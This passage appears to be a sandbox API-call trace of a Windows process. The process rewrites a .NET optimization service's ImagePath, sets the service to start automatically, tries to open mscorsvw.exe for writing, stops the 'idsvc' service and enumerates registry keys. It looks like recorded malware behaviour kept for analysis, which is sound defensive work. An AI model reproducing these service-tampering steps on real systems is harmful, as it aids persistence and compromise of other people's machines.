hKey=0x140, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.983] RegEnumValueA (in: hKey=0x140, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.983] RegEnumValueA (in: hKey=0x140, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.983] RegEnumValueA (in: hKey=0x140, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.983] RegEnumValueA (in: hKey=0x140, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.983] RegEnumValueA (in: hKey=0x140, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0175.983] RegSetValueExA (in: hKey=0x9c, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0175.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0175.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0175.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f4778, cbMultiByte=58, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0175.983] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x803ea0*="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" [0175.983] LocalFree (hMem=0x803ea0) returned 0x0 [0175.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0175.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0175.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cchWideChar=58, lpMultiByteStr=0x21f3ec0, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", lpUsedDefaultChar=0x0) returned 58 [0175.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0175.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0175.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0175.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0175.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0175.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0175.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0175.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0175.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0175.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0175.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0175.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0175.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0175.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0175.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0175.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0175.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0175.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0175.984] RegSetValueExA (in: hKey=0x9c, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0175.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0175.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0175.984] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x2) returned 0x8038a0 [0175.985] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0176.042] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0176.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0176.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0176.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0176.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0176.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0176.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0176.043] RegCloseKey (hKey=0x9c) returned 0x0 [0176.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0176.043] RegCloseKey (hKey=0x140) returned 0x0 [0176.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0176.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0176.043] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe43ab94, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfe43ab94, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x65bf4000, ftLastWriteTime.dwHighDateTime=0x1c9e95e, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0176.043] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0176.044] GetLastError () returned 0x20 [0176.044] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x803ea0) returned 1 [0176.044] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0176.044] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0176.044] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x20) returned 0x803990 [0176.045] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0176.045] GetLastError () returned 0x426 [0176.045] CloseServiceHandle (hSCObject=0x803990) returned 1 [0176.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0176.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0176.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0176.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0176.045] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0176.045] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0176.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0176.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.046] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0176.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0176.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.046] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0176.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0176.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.046] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0176.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0176.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.047] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0176.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0176.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.047] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0176.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0176.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.047] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0176.047] RegCloseKey (hKey=0x80000002) returned 0x0 [0176.047] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0176.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0176.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.047] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0176.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0176.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.048] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0176.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0176.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.048] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0176.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0176.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.048] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0176.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0176.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.049] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0176.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0176.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.049] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0176.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0176.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 